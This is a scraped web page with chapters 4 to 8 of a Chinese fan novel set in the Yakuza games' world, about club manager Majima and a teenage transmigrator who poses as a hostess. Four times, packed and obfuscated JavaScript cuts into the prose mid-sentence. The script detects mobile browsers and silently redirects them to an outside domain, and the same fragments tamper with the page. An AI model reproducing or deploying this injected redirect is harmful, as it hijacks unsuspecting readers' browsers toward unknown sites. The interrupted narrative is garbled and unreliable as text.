RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472639|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汉背后,微微欠身。 “这位客人,感谢你今日前来赏光。” 醉汉转头看来,面上既不悦又迷惑:“你谁啊,来平事的吗?” “我常被人误认为是那种人,但是,我并不是。” “啊?不然那你是干嘛的?” “抱歉介绍晚了,”青年优雅地从胸前抽出一张名片,双手递上:“我是这家店的经理,敝姓真岛。” “你就是经理啊。”醉汉「哈」地冷笑了一声,一把挥开他的名片,粗声粗气地说:“原来这家店是混混在管事啊。” ”非常抱歉让您有所误会,别看我生成这样,但我只是普通老百姓。”真岛淡定地收回名片:“不提这个了,这位先生,不好意思,请勿在本店做出伸手触摸或使用暴力的行为。” “要是你看不顺眼的话,就用拳头和我讲道理啊!你那张脸只是生来吓唬人的吗?” “那怎么行呢,毕竟客人就是「神」呢。” “哦?真是了不起的待客之道呢,你这种态度我很欣赏,这瓶我请,给我喝个痛快。”醉汉环顾四周,看到桌子上有瓶刚开的香槟,抓起来朝着真岛兜头浇下,一旁的侍者和陪酒小姐目睹经理受辱,纷纷倒抽一口冷气。 而真岛动也不动地任琥珀色的酒液顺着他的脸颊淌下,就连眼睛都未眨一下,他背脊挺直,神态平静。 “怎么样,「神」的恩惠滋味如何?”醉汉咧开嘴,恶意地笑着。 “非常感谢您,我一直很想像这样用淋浴的方式品尝这种酒,托您的福,实现了我的梦想!”真岛朗声答道,声音里没有一丝怨恨。 “混账东西,胆子不小嘛!”醉汉怒喝一声,便抓着空酒瓶朝真岛脑袋挥去,他气势汹汹,若这一下打中非得被开个瓢不可。 而真岛只偏了下头,轻松避开了迎面而来的酒瓶,紧接着,他不紧不慢地向一旁走了几步,躲开醉汉恼羞成怒下发起的接连攻击,稳稳立在舞台前,漠然看向面前气喘如牛的男人。 “这位客人,能否请您就此停手呢,如果您再影响小店做生意…” 此情此景,换任何人来都能意识到自己这是碰上了个硬茬,而醉汉早被酒意冲昏了头脑,还在大声嚷嚷:“是的话你要把我怎么样?” “既然客人如此盛情难却,那在下真岛,便僭越地奉陪吧!”真岛潇洒地一挥手臂:“喂,给我来点热闹的!” 台上的乐队配合地奏起一曲欢快的音乐,真岛和着音乐,灵活地躲过醉汉每次攻击,甚至还能在醉汉气喘吁吁时提供完美的服务,引起客人纷纷喝采叫好。在制服了恼羞成怒持刀想要伤人的醉汉后,真岛拦下来要将其送往警局的侍者,点出了对方医药公司高层的身份,并递给酒醒之后追悔莫及的客人一个大台阶——为全场消费买单以堵住众人之口,从而挽回名誉。 他一举一动均彬彬有礼完美无缺,既应付了丑态百出的醉酒客人,又不失经理的尊严,还让其他客人不仅看了场热闹,还喝上了免费的酒,任再苛刻的看客也挑不出什么错处,赢得了全场掌声。 5. 第 5 章 当大家还津津乐道方才的好戏时,完美平息这场骚动的功臣已经默默离开了大厅,再抬头,他已出现在二楼清原夏野一行人的卡座旁,手上端着他们点的酒。 山崎没有想到经理会亲自来服务他们,激动得满脸涨红。真岛带着标准的营业式微笑给他们递上酒杯。轮到清原夏野时,他没有给酒杯,而是把一杯粉红色的果汁轻轻放在他面前。 清原夏野看看饮料,又看看真岛,面露疑惑。 “客人您显然没有成年吧,为了您的健康着想,还是少碰酒精比较好。”真岛主动解释道:“也请您原谅我自作主张,这杯是本店的特调,我觉得您会喜欢。” “只是草莓气泡水吧。”虽然这样吐槽着,清原夏野自知理亏,还是给面子地接过喝了一口。 真岛欠身退场。 他把空的托盘交给一旁的侍者,最后确认了一眼大厅的状况,又叮嘱了迎上来想要奉承他的店长几句,走进了后头昏暗的走廊。 转过GRAND无比惹眼的霓虹灯招牌,是一个带缓台的室外旋转楼梯,护栏的白色油漆剥落得不像样子,墙上贴满了信贷公司和男科诊所的小广告,难以想象在富丽堂皇的门面后还藏着这样破败的一角。 真岛推开四楼的小门走到护栏边,扯开领口紧紧勒着脖子的蝴蝶结领带,点起一支烟。 刚刚那个醉汉把一瓶酒尽数淋在他脸上,不少顺着眼罩的缝隙流了进去,被剜去内容物的眼窝一阵阵抽痛。 真岛只默默地抽着烟,连一个皱眉的表情都没有,只要能赶紧赚到钱,哪怕要他去舔客人的鞋子也无所谓。 他低低地垂下头,凝望着立交桥上一个须发皆白的老头缓缓拉着垃圾车迎面走过来,真岛紧紧地盯着他的一举一动,然而,老头只是不紧不慢地走着,走到楼下时,他慢吞吞地抬起头,和真岛的目光碰上。 其他的监视者大多是装作若无其事的样子偷偷看着,一旦窥探被察觉到就立马移开目光,而这个老头却平静地和真岛对视,直到真岛别开脸,才继续拉着他的车慢慢往前走去。 老者的举动像是在嘲笑真岛的无能为力——就算你知道自己被监视着又如何,你有那个决心舍弃一切逃出去吗?真岛早已麻木的心脏难得的感受到一丝愤怒。 在一年前的那场「事件」中,他的拜把兄弟冴岛大河因枪杀了上野诚和会的18个组员被捕,他自己被柴田组剜掉了一只眼睛,扔进「仓库」被拷打了整整一年,直到最近才被放出来、扔给组长岛野太的跨帮兄弟——近江联合的佐川组组长佐川司看管。 一开始他天真的以为对方是个言而有信之人,只要让夜总会GRAND的营业额达到一个亿自己就能回到东城会,但佐川组绝不会放过他这个好用的赚钱机器,回归道上的请求被佐川司一次次打着哈哈驳回,「赎身费」倒是从最开始的一个亿翻到了五个亿。 鬼知道赚到五个亿之后佐川组是会践诺还是逼着他继续赚钱,怎么看后者的可能性都要更大些。这灯火辉煌令人趋之若鹜的苍天堀却是他的赎罪之地,身为「夜之帝王」的表面光鲜是众人所羡却非他所愿。 这样的日子还要持续到什么时候。 忙里偷闲出来透口气的心情消散殆尽,真岛烦闷地按灭手中还剩大半的烟丢掉,转头正准备回去,身后的门突然开了。 有些眼熟的少年一手抓着瓶威士忌,一手捏着两个杯子,用膝盖顶开门,带着几分醉态晃晃悠悠地扑到栏杆边上,蓝色衬衫鼓起的下摆盛满了夜风,像是一只偶然落到这片灰暗地带上的蓝蝴蝶,为所到之地点染上赏心悦目的色彩。 少年伏在栏杆上稳住脚步,像是刚发现真岛也在似的朝他举了举瓶子,灿烂地笑着:“好巧啊经理。” 真岛被迫停下脚步,独目盯着他手中已经空了小半的酒瓶,声音中透出几分不耐烦的冷意:“我说过未成年人不能在店里喝酒吧。” 他本以为对方不过是有钱人家的小少爷,拿一杯饮料说点好话就能敷衍过去,没想到却是个不遵守规矩的麻烦家伙。 “现在已经不是在店里了,我这是在店外面喝,”清原夏野笑脸戏谑:“经理您不会生气的吧,毕竟客人可是「神」哦。” 说着,他对着瓶口喝了一大口,心满意足地眯起眼。 自己说出的话被照样奉还,真岛简直不爽到了极点。 他下意识瞥了眼楼下的立交桥,琢磨着要不干脆把这家伙从四楼丢下去,想起自己现在是老百姓,只得作罢,索性离开这里眼不见为净。 “喂,经理先生~” 身后传来拖着长音的懒洋洋的呼唤声。 真岛再一次急刹住步伐,几乎用尽全力才维持住面无表情。 “你真的放心我一个人在这里啊,我会喝醉摔下去的。”清原夏野说着,半个身子跃跃欲试探出护栏。 真岛额角抽搐,两步走过去,抓着他的领子把他拽了回来。 “那就不要喝啊。” 事到如今,真岛已经被折腾得没有心情揍这孩子一顿了,把人丢在这里也做不到。他走到墙角抱着手臂站着,空烟盒静静地躺在他的口袋里。 真岛心里有些懊悔刚刚随手扔掉了那大半支烟,否则还能抽上几分钟打发下时间。 正心烦着,手臂被什么凉凉硬硬的东西碰了一下,他斜眼瞥拿着酒瓶撞他的清原夏野一眼。 搞什么鬼? “你也来和我分享这瓶酒,”清原夏野把他一直捏着的两个酒杯放在台阶上,自顾自地一一倒满,然后拿起一杯递给真岛:“你给店里的客人争取到了今晚的酒水免单,但你自己还没喝到不是吗?” 真岛并不想承认,他被对方跳脱的行事风格搞得有些心烦意乱,其实即便这小子继续用「顾客就是上帝」这种话来激他,他也可以用上班期间不能喝酒作为托辞拒绝。 但是—— 见鬼的上班期间不能喝酒,他又不真是个什么良民。 像是被蛊惑了一般,他慢慢朝着清原夏野递出的杯子伸出手。 清原夏野醒来时,先察觉到的是脑袋下方柔软的触感,他迷迷糊糊睁开眼,眼前是个年轻的短发丽人笑眼弯弯地看着他,纤纤手指绕着他的棕色发丝一下下地卷。 他眨了眨眼,意识慢慢回笼,才发现自己是枕在女人的大腿上,脸腾地红了,慌乱下想要坐起来,却一头栽到地毯上。 面前是一双眼熟的金属包头蜥蜴皮鞋,他的视线顺着锋利的西装裤线往上移,真岛独眼低垂对上他的视线。 “这是我的办公室。”他只简单地解释了一句,接着对沙发上的短发女人点了点头:“辛苦了,今天可以先下班了。” “和我一起来的人呢?” “你说还要在大阪再玩一段时间,让那位客人自己先回东京。”像是回想起什么绝望的画面,真岛那张波澜不惊的营业脸上也挂上了几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472640|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无奈:“你在天台上喝醉了,我只好先把你带回我的办公室,否则要是传出了未成年在GRAND醉酒的传闻也会影响我们的生意。” “不过我猜和你一起来的那位客人现在还在楼下等待吧,他看起来是受了你家里人之托带你出来的,直接把你扔在大阪没法交差。” 他说着抬头看了一眼挂钟,站起身礼貌逐客。 “时候不早了,清原弟弟既然酒醒了,也该回去了吧。” 不知道他是从哪里得知自己的名字,许是听和他一起来的山崎说。 再不说话显然不合适了,清原夏野清了清嗓子,声音中仍然带着大醉之后的沙哑:“我暂时不会回东京。” 真岛在门口停住脚步,貌似耐心地等他往下说。 “我因为太幼稚被喜欢的女生嫌弃,所以跟着爸爸的下属来大阪散心。”清原夏野顶着他像是X光线似的探询目光,硬着头皮说道:“而经理你似乎很受异性欢迎,我想和你学习博取女人欢心的技巧。” 半真半假地说完,他自己也有些忐忑。不同于尚且年轻鲁莽的桐生一马和锦山彰,眼前这个是他无法掌控的成熟男人,一言以蔽之,就是不好糊弄。 真岛吾朗无奈地牵动嘴角:“清原弟弟你还没到找女人的年纪吧。” 清原夏野正思索如何应对,门外响起急促的敲门声,GRAND的店长喘着粗气匆匆走进来。 “打扰了!那个…经理!刚才小德打电话说,她从明天起会换到其他地方上班!” “是啊,我已经知道了。”真岛狠狠捏了捏眉心,刚刚佐川组组长佐川司过来,通知他要把GRAND的第一红牌德子调走。 “您已经知道了吗?怎么那么突然呀!要是没有小德在,对我们的业绩影响会很大的。”店长哭丧着脸。 “这是老板的决定,没办法再更改了。”真岛断然道:“眼下没有工夫在这里叹气,最近其他店家有哪个公关小姐不错的?” “其他店家的女孩子吗?呃,这个…”店长为难地抓了抓头发,下一刻他注意到沙发上坐着的清原夏野,眼前一亮:“这个是您找到的新头牌吗,长得好可爱!要是有她在我们店的业绩肯定会翻倍!不,至少翻三倍!” “不,这位是客人。” “拜托了!我们店的薪水很可观的,还请考虑一下!”店长沉浸在自己的幻想中完全没有听见真岛的话,热切地扑到清原夏野脚边,甚至给他来了个土下座。 真是瞌睡就有人递枕头,清原夏野不由失笑。 他脱掉衬衫随手丢到一旁,抬眼瞥见一旁的大纸箱装着刚刚采购来的、准备给陪酒女郎穿的礼服,清原夏野踢掉鞋子赤着脚走过去,拎出最上面一条玫红色的女裙,走进换衣间。 穿上裙子、戴好假发、对着镜子用指腹抹上口红。 一切做完之后,他拉开帘子,面对兴奋得简直要晕过去的店长还有满脸愕然的真岛。 美,的确是美得没话说,连真岛吾朗这个见多识广的经理都忍不住在心里赞叹。少女…不,少年双目明亮、睫羽忽闪,锁骨、手腕、脚踝…露出的每一寸、哪怕是最细微的地方都令人驻目,洁白的皮肤甚至在暗淡的灯影下透出微光。 “真岛先生,我会帮你赚到5亿。”清原夏野顶着一张无比可爱的脸说出了不得了的话:“作为报酬,你也要教我怎么能受女孩子欢迎。” “你以为如何呢,经理先生?” 6. 第 6 章 夜色一如即往地降临苍天堀,一道道倩影游走在卡座之间,为夜晚的欢宴增添香色,而名为「小夏」的新人无疑是GRAND最为瞩目的新星。 没有人不为这名突然出现的「少女」的风姿所倾倒。生意场上搅弄风云的人精见惯了急切掏空他们钱包的陪酒女郎,面对这风月场难得一见的纯真情态,竟难得的不知所措起来。光是看「她」坐在一旁温柔倾听的样子,便觉白日的疲惫一扫而空,再看「她」空空的脖颈和手腕,更觉得可怜,不仅连开数瓶最贵的香槟,之后还大手一挥,把支票本扔给下属。 “志田,去隔壁的高级商场替我给小夏买成套的珠宝,要最贵的。” “怎么能让您再破费,”小夏,也就是清原夏野微笑着婉拒:您如果想支持我的话,那么就多来GRAND玩吧。” 倒也不是假意客套,他来GRAND工作是为了兑现和真岛的约定,早日帮他赚到5个亿,客人多来光顾消费比送他昂贵礼物要实用得多。 “对了,还有最新款的手包也一并买回来,要蜥蜴皮的。”客人的热情并未因他的拒绝而减退半分,他越是不情愿,客人则越是怜爱,越是要在他身上花钱。 这一晚来客如云,而小夏只有一个,所以即便风头被新人抢走GRAND的小姐们也并不嫉妒,毕竟客人多的话大家都有钱赚。 过了今晚,慕名而来的人想必更多。 真岛凌晨回到GRAND的时候,有些意外地发现陪酒小姐们都还没下班,而是聚集在大厅,更准确地说是围在清原夏野身边。清原夏野躺在沙发上,闭着眼,任她们折腾他头上那顶假发、琢磨怎么用客人送的珠宝装饰他。 “这个皮包我上周刚在杂志上看过,超级贵的!” 佳苗羡慕地看着被清原夏野随手乱丢的蜥蜴皮包,清原夏野略睁开眼,食指挑起包带放到她怀里。 “喜欢就拿去背吧。” “诶?这么贵重的东西,我真的可以用吗?”佳苗虽无比心动,但这包少说也有五六百万,即便对面是客人,她也不敢开口要如此贵的礼物。 真岛经过她们时,像是不经意一般调笑道:“喔,一出手就是这样昂贵的包包,小夏还真是大方呢,既然是客人的心意,最近还是带着出场比较好吧。” “啊抱歉,确实是这样,我想得太不周到了!”佳苗恍然醒悟,把手包重新放回原处。 清原夏野也抬起眼皮看他,神色淡淡的。 不知是惊讶于他竟还回来,还是怨他多管闲事。 真岛吾朗目光不闪不避,直到店长插入他们中间打断了对视。 “您回来了经理,多亏了小夏,今晚的营业额开创了新高!我们正准备给他开个欢迎会呢。” 真岛吾朗并不意外于清原夏野的成功,甚至回来时的路上就听得不少人讲:今天GRAND新来了一个天人一般的招待小姐,若是不见上一面,都不好意思说自己在苍天堀玩过。 他的目光不动声色地扫过清原夏野颈间闪耀的钻石项链。 GRAND通常会在化妆间给陪酒小姐们准备一些首饰用于搭配衣服,但绝不会奢侈到买这样的高档品,想必也是刚刚的客人送的。 今晚GRAND还未营业,佐川司便在电话里嚷着要和他喝酒,上司传唤,真岛只能奉陪。 明日香公园,关东煮的摊位上,一杯热酒刚刚下肚,佐川便提出了只要真岛杀一个名叫「牧村实」的人,就让他回归东城会的新提议。 ——那个名叫「小夏」的孩子,是你新找来的头牌么,的确漂亮,连我这种大叔看了都被迷住了,不过要是我联系他的父母呢,他们会让孩子在这种店里工作吗?大概会马上过来把他领回去吧。 当他以「会为佐川赚到五个亿」为由,拒绝杀人的提议时,佐川司含着笑这样说道。 真岛垂头盯着桌面,半晌后抓起自己面前的酒杯一饮而尽。 如今他之所以还活着,就是为了等到兄弟冴岛大河出狱时给他一个交代,为此,他必须在东城会往上爬,准备好冴岛回来之后的座位,不管是短视也好,直肠子也罢,他眼前也只看得到这事,他无论如何都要回到那个世界,就算杀人也在所不惜。 况且要是这孩子的事被他的父母知道,怕不是要被骂死。 他已经答应了佐川司在48个小时内杀掉那个叫做牧村实的人,回家的路上不知道怎么却走到GRAND来了。 “这是我第一天开始工作,你却连在场都吝啬。”清原夏野看他沉默不语,自顾自开始抱怨:“「让我更受女孩子欢迎」的私人培训什么时候开始?” 真岛吾朗揉了揉眉心,叫住正往楼上走的两个陪酒小姐:“你们两个过去陪他聊天,奖金给你们发双倍。” “你说好要亲自给我特训的,不许耍赖!”眼看真岛要走,清原夏野一下子从沙发上翻身爬起来,冲着他背影喊。 真岛不为所动:“我何时答应过亲自陪你训练?况且你想要讨女孩欢心还是和她们聊天更合适。” “对我好点嘛,经理先生,我可是你最好用的赚钱机器,就算只是个机器也要好好养护啊。” “少撒娇了。” 虽然还是不情愿的模样,真岛还是坐到了他身边的沙发上,眼看计谋得逞,清原夏野的嘴角露出一丝真的微笑。 “真岛先生你来扮演女孩子和我聊天。”他继续无理要求。 真岛懒得和小朋友计较,抱着「看你能搞出什么花样」的想法顺口答应了:“那就倾尽全力来讨我欢心吧。” “那我怎么称呼你呢,还是叫你真岛先生的话有点奇怪。” “那就叫我…呃…吾朗美吧。”真岛思索半晌编出个女名,说完,他黑着脸盯着笑到喷水的清原夏野:“我起的名字有那么好笑吗?” “咳咳,没什么问题,”清原夏野也是听到这个熟悉的名字,联想到龙1里真岛女装恶搞形象,一时没控制住喷笑而已,他偷偷狠掐自己一把止住笑意:“那么吾朗美…阿美小姐平时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472641|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的爱好是什么呢?” “我嘛,平时会打撞球,也会去街边的店里随便喝两杯。” “真是有男人味的爱好,阿美小姐身材很结实,想必是经常锻炼的缘故吧”清原夏野夸了一句:“那么阿美小姐喜欢什么样的男性呢?” “喜欢什么类型的男性?”真岛用两根手指捏着他纤细的腕子:“人家更喜欢壮实的男子汉,男人还是得壮壮的才好呢。” ”和我恰恰是相反的类型呢。”清原夏野塌下肩膀作苦恼状。 “怎么能懈怠呢,这种时候男人得负责带气氛才行。”真岛抬手,不轻不重地捶了他的后背一下:“好吧,小夏今天也很累了,今天的练习就到这里。” 他站起来,抓起搭在沙发靠背上的西装,长腿一迈几步走出GRAND,路边等着打车的人里有几个是店里的小姐,她们也注意到了真岛这边,朝他投来暧昧的笑容。 真岛先是莫名其妙,回头看到尾巴一样缀在他身后的清原夏野,又是一阵头疼。 “干嘛跟着我?” “我没有地方住。” “那就继续去住酒店,我给你付钱。” “我能跟着你住吗真岛哥,苍天堀太乱了我害怕。” “我那里可不是适合你这种小少爷住的环境,你还是回酒店去比较好。”真岛想到自己只有一床铺盖的狭窄单间,果断地拒绝了他。 出乎他意料,清原夏野没有多做纠缠,点点头轻声说了句知道了。不等真岛再解释,他便迅速走远了。 真岛目送着他的背影消失在街角,只觉得脑袋更疼了。 清原夏野进了一家彻夜营业的便利店买了瓶咖啡,边走边喝。 「真岛那家伙太过分了,你现在好歹也是他的摇钱树,他连收留你暂住都不肯。」系统为他感到不值。 清原夏野自己倒是想得开。 他想要住进真岛家里的原因是为了方便和他一起行动,但现在看来果然没有那么容易。 「这些无所谓,我想要在东京和大阪苍天堀之间随意移动。」他在心里和系统说:「你有办法传送我吗。」 「真拿你没办法,」系统很拟人地叹了口气:「瞬间传送这个功能倒是可以有,但你不是不想接触立华不动产吗,是什么让你改变了心意?」 「赚取虐心值的速度实在太慢了」清原夏野喝光咖啡,把瓶子丢进垃圾桶里:「对了,问你一个问题,如果在我的干预下原剧情发生了变化,你们系统会允许吗?」 「无所谓啦,你的出现势必会造成一系列蝴蝶效应的嘛,你可以把这里看作是真实的世界,随意发挥就好了。」 “你就是GRAND的新头牌小夏吧,真人还真是可爱呢。”猥琐的笑声从他背后传来。 清原夏野皱眉回头,只见道上一字排开五个混混,俱是身材魁梧,长相凶恶,他们用色眯眯的目光在清原夏野脸上身上游移。 “呵呵,真是个好女人呢,小夏小姐,陪我们去喝几杯吧。” 7. 第 7 章 清原夏野不动声色地扫过这几人胸前近江联盟的徽章。 “抱歉,现在是我的下班时间,如果各位想要点我作陪的话还请明天光临GRAND。” “小姐,你该不是没听过近江联盟直属佐川组的名号吧?就连你工作的GRAND也是我们的产业,识相的话还是和我们走一趟比较好唷!” 混混不顾清原夏野的抗拒,伸出手就要往他的肩上搭。 「警告,宿主正面临危险,监测到攻略对象真岛吾朗在你附近,请尽快向他求助。」 清原夏野若有所感地偏过头。 真岛吾朗站在街边注视着这边的闹剧,身姿笔直,表情沉郁,紧绷的五官和紧攥的拳头显示他也不是全然无所谓。 清原夏野朝他的方向瞟了一眼,便跟没看到一样错开了目光。 系统诧异:「宿主你在搞什么,为什么不让真岛帮你?」 「不是要我刷虐心值吗?先得我被虐才会有虐心值吧。」 清原夏野平静地回答,眼看就要被混混抓住,他也不闪不避,只在心里默默数着数。 三。 二。 一。 「虐心值加了10点」脑海中响起系统没有感情的电子音。 清原夏野眨了眨眼,或许是错觉,他从系统的声音里听出一丝无语。几乎与此同时,一只有力的手把他拉出恶汉们的包围。 “要是我没看错的话,你们是在骚扰我家小夏是吧。” 真岛低沉的声音从他的头顶上方传来,清原夏野下意识抓住他的袖子,紧接着又意识到不对,尴尬地正要松开手,反被真岛牢牢扣住了手腕。 “你就是GRAND的经理真岛吧,我们佐川组长要点小夏小姐出台作陪,怎么 ,你不乐意?” “小夏不会出台,我明天会亲自和佐川司解释。”真岛说。 他收拢五指,更加用力地把清原夏野带进自己怀中,揽着他往来的方向走去,佐川组的人假借组长的名义本就心虚,眼下更是被他的气势慑住,一时竟没人敢追过来。 两个男人这样手拉手在街上走实在是怪异,走过街角,清原夏野便要把手抽出来,反而被更紧地回握住。 真岛吾朗绷着脸。 若不是自己不放心跟上来,恰好撞见这一幕,很容易猜到这孩子落到佐川组那些人的手里会遭遇什么。 他本以为清原夏野会向自己求助,不料清原虽然看到了他,却用看陌生人的眼光轻巧地从他身上掠过,那一刻他感受到的并非轻松,而是难言的窒闷。 “你刚刚看到我了吧,为什么不喊我帮忙?” 清原夏野不急着回答,饶有兴致地打量着真岛沉郁的侧脸。 “我以为真岛先生您是不爱管闲事的那类人。”半晌,他低声说:“那些人说GRAND是佐川组的产业,他们的组长是您的老板吧…我不想给您惹麻烦。” 真岛吾朗沉默片刻,抬手胡乱地揉了一把清原夏野的头发:“我好歹也算是你的上司,总有办法解决麻烦的,下次不要自己逞强了。” 他脱下西装外套,披在清原夏野裸露在外的肩上,又说:“让你回酒店我也放心不下,今晚就去我那里吧。” 他的外套上残留着香烟味道和古龙水的冷冽香气,清原夏野只觉得整个人被笼罩进他的气息里,愣怔之后微微一笑:“真贴心啊,真岛先生。” 真岛并没有因为他的夸奖高兴起来。 要不是他今晚先是拒绝了清原夏野和他一起回去,这孩子就不会被佐川组的人缠上,也不必遭受这无妄之灾。 “我现在住的地方很简陋,担心你住不惯。”走回去的路上他低声说,像是在为先前的拒绝找补一样。 “没关系,我只要有个住的地方就好,冒昧叨扰,是我该道歉才对。” 清原夏野跟着他踏上老旧公寓嘎吱嘎吱响的楼梯,昏黄灯光下,真岛走到走廊靠里面一扇陈旧的木门前开门进去,清原也脱鞋进屋,饶有兴致地打量着曾在游戏转场画面里看过的环境。 真岛说得没错,这房间也真够小的,不到二十平的面积堪堪放下一床铺盖,一张矮几还有一张流理台,淋浴间更是可怜地龟缩一隅,清原经过时粗略地扫了一眼,怕是连洗澡都转不开身。 真岛把刚刚在便利店买的洗漱用品递给他:“我明天去买一些用的东西,辛苦你先凑合一晚。” 清原夏野接过走进浴室,真岛把矮几挪到墙角,又从壁柜里取出一床被子铺在地上。 做完这些后,他走到窗边点起烟深吸一口,习惯性地清点起今晚来监视他的人头。 对面的窗口一人。 对面的楼顶一人。 刚通过桥下的货船上一人。 还有今晚在GRAND那边看到过的那个拖着垃圾车的老头。 这些人多是无所事事的街友,可以被人轻易收买盯梢,他们也无需讲究什么监视的技巧,直勾勾地盯着真岛的住处,就像他们也心知肚明这个被监视的男人不能把他们如何一样。 这座城市到处都是监视他的眼线。 浴室里的水声停了,清原裸着上身,带着一身温热的水汽走出来。 卸掉了混淆性别的妆容,少年人面目俊美,五官像是精雕细刻的艺术品,周身洋溢着鲜活生动的气质,照亮了昏暗狭小的房间。 真岛心情复杂地移开目光。 他全心想着怎么赚够钱重回道上,对他来说住得好坏没有任何区别,只是需要有个地方栖身而已。 屋里陡然多出另一个人,他不自在之余,也意识到现在住的地方确实是太糟糕了。 要不要换个大点的地方住呢。 次日上午清原夏野睡到八点多起床。 他轻手轻脚地爬起来洗漱,回来时真岛抬起独眼瞥了他一眼。 ”抱歉,是我吵醒你了吗?”清原夏野小声问,夜店经理的工作作息颠倒,他猜真岛平时会睡到中午才醒。 清原自己却是个时间紧张还妄想多线程操作的攻略者,能睡三四个小时就已经心满意足了。 真岛吾朗沉默片刻,说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472642|185554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有那种事。” 他方才又梦见了自己被关进仓库里的那一年,直到被褥窸窸窣窣的响声把他从噩梦里拉出,他睁开眼,看到一角白色衣袂闪进浴室的门缝,后知后觉地想起自己把清原夏野弄回来了。 清原夏野本意也只是客套一下,听他这样说更是释然了。 真岛吾朗的衣服和他的身形不合适,清原从床边拿起昨天的裙子套上,又戴上假发。 “我下楼买早饭。”他从包里拿出口红,用指腹蹭了一点擦在唇上,回头看向真岛:“你有什么忌口吗?” “去吧,钱包在我外套里。”真岛翻了个身:“我平时不吃早饭,不用带我的份,你买自己爱吃的就好。” 清原夏野甜甜地道了声谢,拿上真岛的钱包高高兴兴地出门了。他没有急着去买早饭,而是找到了公共电话,拨通了锦山彰给他留下的那个号码。 锦山彰听到清原夏野报出姓名,稍作回忆,便把他和神室町偶遇的少年对上了号,虽然他现在为了兄弟的事焦头烂额,但他对清原夏野的印象还算不错,这样想着放缓了语气。 “是你啊,有什么事吗?” 清原夏野没有和他拐弯抹角:“我的妹妹今天到东京,准备在这里玩半个月,不巧我最近有事去大阪了,家里不放心她的安全,让我找其他朋友陪她逛逛。” 紧接着他换上了有些落寞的语气:“我在学校里没有其他朋友,您和桐生先生是我认识的最可靠的人,我想要麻烦你们这段时间帮我照顾她,我会给酬劳的。” 锦山彰纠结片刻,没有直接拒绝,问道:“你的妹妹今年多大年纪?”要是年龄太小的女孩恐怕就没办法了。 “和我同龄,也是17岁。” 锦山自己的妹妹优子和清原的妹妹算是同龄人,他自己也有一点照顾这个年纪女孩的经验,若自己有其他急事也可以拜托青梅竹马的由美帮忙。 “你准备给我们多少钱?”锦山随口问道。他没对佣金的数额抱着什么不切实际的期望,不过是帮忙照顾个小女生,顺便带她逛逛街而已。 “五百万円。”清原夏野说:“今天我会让妹妹过去找你,带给你一半当作定金 。” 电话那头,锦山彰听到这超乎他意料的高价,忍不住吞了一口唾液,语气也难掩地兴奋起来:“你看人蛮有眼光的嘛,我明白了,你妹妹的事包在我身上,保证让她玩得尽兴。” 清原夏野也没心没肺地哈哈一笑,他问了锦山彰碰面的时间地点就利落地挂断了电话。 他没有多问桐生一马的事情,在电话里打听太多只会让锦山彰生疑。 清原夏野心知桐生一马为了保护对其视如己出的风间若头,已经离开东城会,就在昨晚被立华不动产的社长招徕加入他们的事务所。 想要接触立华不动产,从有过一面之缘的桐生入手是最好的办法了。 清原夏野哼着歌,又拨了一个电话出去:“我想要你们帮我查一个人,对,务必要大范围收集情报,今天之内我要获得他的所有信息。” 8. 第 8 章 东京市中心的一家豪华酒店门口。 锦山彰倚在自己的宝贝爱车上转着钥匙圈,他身上的红西装刚从干洗店里取回来,车也是早上才洗过。 二十出头的青年人举手投足间均是潇洒不羁的气息,面庞又英俊忧郁,不时有从酒店里出来的夫人小姐偷偷打量他,锦山彰满脸无所谓,心里一阵阵暗爽。 正得意着,一辆加长林肯停在他面前。 就像拉开帷幕一样,车门缓缓打开,演员闪亮登场。少女穿了件黑色大衣,鲜红唇色衬出黑发雪肤。 锦山彰手中的烟头掉在了他擦得锃亮的皮鞋鞋面上,他浑然未觉,一双眼直直盯着下车的少女。 他就算加入了堂岛组,也是最底层的小弟,虽常常出入风月场,但从未见过此等绝色,就连组里大哥们的女人都没有这样好看的,清原这个妹妹该不会是什么大明星吧。 清原夏野看到锦山的呆滞表情,默默松了口气,他抱着要女装就绝对不能被看出破绽的信念,来之前仔细打扮了一番。 现在看样子是没露馅。 “你就是夏野哥给我找的玩伴?”有钱人家的小姐连仰头看人都带着冷淡的意味。 